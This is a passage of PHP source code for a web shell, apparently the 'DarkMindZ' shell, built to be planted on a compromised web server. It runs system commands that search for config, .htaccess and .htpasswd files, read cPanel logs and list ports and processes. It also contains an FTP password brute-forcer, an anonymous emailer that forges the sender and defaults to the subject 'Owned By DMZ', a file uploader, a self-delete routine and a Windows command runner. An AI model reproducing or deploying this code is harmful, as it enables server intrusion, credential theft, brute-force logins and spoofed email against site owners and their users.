print "<center><font color=red face=verdana size=2><center>Are you sure?<br>
<a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a></font></center><br>
Remove: <u>";
$path=__FILE__;
print $path;
print " </u>?";
echo "<br><br><br>";
echo "</table>";
exit;
}
if($p=="yes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\\","/",$path);
if(file_exists($path)){$hmm="Not Deleted!";
print '<font color="red">File $path Not Deleted!</font>';
} else {$hmm="Deleted!";}
print "<script>alert('$path $hmm');</script>";
// end of kill shell
echo "</table>";
exit;
}
?>
<?php
// find config files
if ($action == "cfg") {
$cmd = 'find / -type f -name "config*"';
echo 'Config Files:<br>';
system($cmd);
echo "</table>";
exit;
//end of find
// find config.inc
} elseif ($action == "cfginc") {
$cmd = 'find / -type f -name config.inc.php';
echo 'Config.inc Files:<br>';
system($cmd);
echo "</table>";
exit;
// end of config.inc
// find config in current dir
} elseif ($action == "cfgcurr") {
$cmd = 'find . -type f -name "config*"';
echo 'Config Files in current Dir:<br>';
system($cmd);
echo "</table>";
exit;
// end of find
// find writable files and folders
} elseif ($action == "write") {
$cmd = 'find / -perm -2 -ls';
echo 'Writable files and folders:<br>';
system($cmd);
echo "</table>";
exit;
// end of find
// find htaccess files
} elseif ($action == "hta") {
$cmd = 'find / -type f -name .htaccess';
echo '.Htaccess Files:<br>';
system($cmd);
echo "</table>";
exit;
// end of htaccess
// find htpasswd files
} elseif ($action == "htp") {
$cmd = 'find / -type f -name .htpasswd';
echo '.Htpasswd:<br>';
system($cmd);
echo "</table>";
exit;
// end of find htpasswd
// find opened ports
} elseif ($action == "ports") {
$cmd = 'netstat -an | grep -i listen';
echo 'Opened Ports:<br>';
system($cmd);
echo "</table>";
exit;
// end of find ports
// get cpanel logs
} elseif ($action == "cpanel") {
$cmd = 'cat /var/cpanel/accounting.log';
echo 'Cpanel Logs:<br>';
system($cmd);
echo "</table>";
exit;
//end of get logs
// get running services
} elseif ($action == "services") {
$cmd = 'ps aux';
echo 'Services Running:<br>';
system($cmd);
echo "</table>";
exit;
}
// end of get services running
?>
<?php
// usefull commands
if ($action == "list") {
echo '<center>-= List of Commands =-</center><br>';
echo '=- pwd || Notifies you of the dir of the shell<br>';
echo '=- find -type f ! -perm -444 || Finds files that are not readable by all<br>';
echo '=- find -type d ! -perm -111 || Finds dirs not accessible by all<br>';
echo '=- ip link show || List interfaces<br>';
echo '=- host darkmindz.com || Lookup ip address for name or vice versa <br>';
echo '=- hostname -i || Lookup local ip address equivalent to host `hostname` <br>';
echo '=- netstat -tupl || List internet services on a system<br>';
echo '=- netstat -tup || List active connections to/from system<br>';
echo '=- df -h || Show free disk space<br>';
echo '=- df -i || Show free inodes<br>';
echo '=- rm -r || Removes directories and files within the directories recursively<br>';
echo '=- chmod || change file access permissions<br>';
echo "</table>";
exit;
}
// end of commands
?>
<?php
// FTP BruteForcer
if ($action == "ftp") {
error_reporting(0);
$host = $_POST["host"];
$user = $_POST["user"];
$dict = $_POST["dict"];
if (!isset($_POST['submit']))
{
echo "<center><form method=\"post\" action=\"?action=ftp\"></center><br>";
echo "<center>Host: <input type=\"text\" name=\"host\"></center>";
echo "<center>User: <input type=\"text\" name=\"user\"></center>";
echo "<center>List: <input type=\"text\" name=\"dict\"></center><br>";
echo "<center> <input type=\"submit\" value=\"Start\" name=\"submit\"></center>";
echo "<center></form></center>";
echo "</table>";
exit;
} else {
$file = fopen ($dict, "r");
while (!feof ($file)) {
$pass[$i] = fgets($file, 1024);
$i++;
} fclose($file);
echo "[o] --=[ Processing ]=--<br>";
echo "[o] |||||||||||||||||||||||||<br>";
$limit = count($pass);
$width2 = $limit;
echo "[o] Loaded ".$limit." passwords. <br>";
for ($i=0; $i<$limit; $i++){
$ftp = ftp_connect($host, 21);
if(ftp_login($ftp, $user, $pass[$i])){
echo "<br>[o] Success!<br>[o] Username: ".$user."<br>[o] Password:".$pass[$i]."<br>";
} else {
$width = 1;
}
}
ftp_close($ftp);
echo "<br>Done.";
echo "</table>";
exit;
}
}
// End of FTP Bruteforcer
?>
<?php
// Anon Emailer
if ($action == "email") {
echo '
<div align="center"> </div></td>
</tr>
<tr>
<td width="50%" height="434" rowspan="2" nowrap bordercolor="#CCCCCC"><div align="center">
<p><font size="-1">--= Send an email =--</font> </p>
<center>
<form method="POST" action="?action=mailgo">
<blockquote>
<p><font size="-1">-= From:
<input type="text" name="exp" size="30" value="[email protected]">
<br>
<br>
-= To:
<input type="text" name="recpt" size="30" value="[email protected]">
</font></p>
</blockquote>
<p><font size="-1"> -= Subject:
<input type="text" name="topic" size="30" value="Owned By DMZ">
<br>
<br>
-= Content:<br>
<textarea name="content" cols="40" rows="6" wrap="VIRTUAL"></textarea>
</font><font size="-1"><br>
<input name="submit" type="submit" value="Send Email">
</font> </p>
</form>
</center>';
echo "</table>";
exit;
}
// end of Anon Emailer Form
?>
<?php
// The Emailer
if ($action == "mailgo") {
echo '<center>Success!, Email sent to: <b>'.$recpt.'</b>.<br></center>';
$hd = $exp;
mail($recpt,$topic,$content,"From: $hd\nX-Mailer:DarkMindZ Mail System");
echo "</table>";
exit;
}
// end of emailer
?>
<?php
// Uploader Form
if ($action == "upload") {
echo '
</div></td>
<td width="50%" height="253"> <center>
<font size="-1">--= Upload a file =-- </font>
<form method="POST" enctype="multipart/form-data" action="?action=upgo">
<p align="center"><font size="-1">-= Browse:
<input type="file" name="file" size="30">
</font></p>
<p align="center"><font size="-1"> -= Rename to:
<input type="text" name="fts" size="30" value="your-file.txt">
<input type="submit" value="Upload it!">
</font></p>
</form>
<font size="-1"> ';
echo "</table>";
exit;
}
//End Of Upload Form
?>
<?php
// Uploader
if ($action == "upgo") {
copy($file, $fts);
echo '<center>File '.$file.' Has been successfully uploaded!</center>';
echo "</table>";
exit;
//end of upload
}
?>
<?php
//Windows Tools, With the help of Gr33nW00d
if ($action == "winx") {
if ($win == 1) {
set_magic_quotes_runtime(0);
$veros = `ver`;
$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$windir = `echo %windir%`;
//------------------------------
if( $cmd == "" ) {
$cmd = 'dir /OG /X';
}
//------------------------------
print "<table style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; border: 1px #000000 dotted\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" >";
print "<tr>";
print "<td>You:</td>" ;
print "<td> ".$_SERVER['REMOTE_ADDR']." [".$host."</font>] </td>" ;
print "</tr>";
print "<tr>";
print "<td><font color=\"red\">Version OS:</font></td>" ;
print "<td> $veros </td>";
print "</tr>";
print "<tr>";
print "<td><font color=\"#990000\">Server:</font></td>";
print "<td>".$_SERVER['SERVER_SIGNATURE']."</td>";
print "</tr>";
print "<tr>";
print "<td><font color=\"#990000\">Win Dir:</font></td>";
print "<td> $windir </td>";
print "</tr>";